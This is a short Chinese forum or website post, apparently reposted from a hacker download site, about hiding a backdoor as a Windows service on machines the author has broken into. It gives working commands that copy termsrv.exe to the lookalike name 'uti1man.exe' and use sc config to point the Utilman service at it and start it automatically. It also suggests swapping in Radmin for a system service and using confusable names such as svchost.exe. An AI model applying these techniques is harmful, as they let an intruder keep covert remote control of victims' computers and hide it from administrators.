服务的隐藏

• 好久没有所谓技术性的东西了，最近进人家的机器用Radmin监视人家发现现在一般的网管都会检查用户和进程（不过那个任务管理器不知道为什么不能用了，知道有木马都杀不了，不知道Windows怎么搞的），所以手脚就要在这个上面做了。
  先自己详细的看下默认的Windows服务
  
  替换或者时注意的问题
  
  1 依存关系
  2 二进制路径
  3 默认启动还是自动
  
  我靠，还可以在服务管理器里更改说明。
  
  C:\WINNT\system32>copy termsrv.exe .\uti1man.exe
  copy termsrv.exe .\uti1man.exe
  已复制 1 个文件。
  
  
  C:\WINNT\system>sc config utilman start= auto
  sc config utilman start= auto
  [SC] ChangeServiceConfig SUCCESS
  
  C:\WINNT\system>sc config utilman binpath= C:\WINNT\System32\Uti1Man.exe
  sc config utilman binpath= C:\WINNT\System32\Uti1Man.exe
  [SC] ChangeServiceConfig SUCCESS
  
  至于该替换哪个，我不说啊。最郁闷的是那个Performance Logs and Alerts
  和c:\winnt\system\smlogsvc.exe /service
  替换Radmin后，明明是禁止的，可是居然端口还等着连接。汗！
  只要条件符合，几乎发现不了，除非也是高手。还有就是名字的要求，i与1与l，o与0，呵呵~~
  自己发挥啊，很多的svchost.exe也没有人会怀疑吧~~~
  
  说这么多了，自己研究去，很好玩的啊~~~~
  

  （出处：急速软件下载学院）

• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• 服务的隐藏 相关文章：
• ·服务的隐藏
• ·服务的隐藏
• 服务的隐藏 相关软件

上一篇:php5学习笔记

下一篇:教你如何防范自己的IP泄漏

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐